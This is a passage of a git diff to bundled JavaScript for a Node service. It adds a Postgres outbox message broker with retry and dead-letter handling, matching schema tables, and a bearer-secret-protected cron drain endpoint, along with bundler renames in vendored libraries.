"postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67495,8 +67500,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75062,6 +75067,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79158,6 +79190,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79612,6 +79647,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79764,20 +79853,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79922,11 +80462,39 @@ var RabbitMqBroker = class { } }; +// packages/messaging/src/broker.ts +function isDrainableBroker(broker2) { + return typeof broker2.drain === "function"; +} + +// packages/messaging/src/drain-auth.ts +import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +function digest(value) { + return createHash2("sha256").update(value, "utf8").digest(); +} +function isAuthorizedDrainRequest(authorization, secret) { + if (secret === "") return false; + const match = /^Bearer\s+(\S+)\s*$/i.exec(authorization ?? ""); + const presented = match?.[1] ?? ""; + const equal = timingSafeEqual2(digest(presented), digest(secret)); + return equal && match !== null; +} + // packages/messaging/src/index.ts function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79958,7 +80526,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80054,6 +80622,43 @@ function metricsRoute(app2, metrics2) { }); } +// services/learning/src/http/routes/drain.ts +var DEFAULT_BUDGET_MS = 2e4; +var MAX_BUDGET_MS = 25e3; +var DRAIN_PATHS = ["/internal/drain", "/internal/learning/drain"]; +var drainQuerySchema = external_exports.object({ + limit: external_exports.coerce.number().int().min(1).max(1e3).optional(), + budget_ms: external_exports.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional() +}); +function drainRoute(app2, deps) { + const handle = async (request, reply) => { + const secret = deps.env.CRON_SECRET; + if (secret === void 0) { + throw new AppError("UPSTREAM_UNAVAILABLE", "Event draining is not configured"); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header("www-authenticate", "Bearer"); + throw new AppError("UNAUTHENTICATED", "Missing or invalid drain credentials"); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError("CONFLICT", "The configured messaging driver has nothing to drain"); + } + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit + }); + const durationMs = Date.now() - startedAt; + request.log.info({ ...result, duration_ms: durationMs }, "drained queued events"); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + for (const path of DRAIN_PATHS) { + app2.get(path, handle); + app2.post(path, handle); + } +} + // services/learning/src/lib/metrics.ts function computeLearningMetrics(scores, appliedPairs) { const groups = /* @__PURE__ */ new Map(); @@ -80203,6 +80808,7 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); + drainRoute(app2, deps); getMetricsRoute(app2, deps); return app2; } @@ -80213,7 +80819,13 @@ var learningServiceEnvSchema = external_exports.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape + ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() }); function loadLearningServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.LEARNING_SERVICE_PORT }; @@ -80258,6 +80870,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/api/matching/index.js b/api/matching/index.js index a319ebf..c28b6d7 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -58881,6 +58881,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table) { + return new Check(table, this); + } +}; +var Check = class { + constructor(table, builder) { + this.table = table; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -62977,6 +63004,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -63099,7 +63129,7 @@ __export(external_exports, { bigint: () => bigint3, boolean: () => boolean3, catch: () => _catch2, - check: () => check, + check: () => check2, cidrv4: () => cidrv42, cidrv6: () => cidrv62, clone: () => clone, @@ -75476,7 +75506,7 @@ __export(schemas_exports2, { bigint: () => bigint3, boolean: () => boolean3, catch: () => _catch2, - check: () => check, + check: () => check2, cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, @@ -75780,8 +75810,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -76924,7 +76954,7 @@ var ZodCustom = /* @__PURE__ */ $constructor("ZodCustom", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => customProcessor(inst, ctx, json3, params); }); -function check(fn) { +function check2(fn) { const ch = new $ZodCheck({ check: "custom" // ...util.normalizeParams(params), @@ -78655,6 +78685,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid("organization_id"), + userId: uuid("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table.createdAt, table.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table.eventType, table.createdAt, table.eventId), + index("event_outbox_trace_idx").on(table.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = 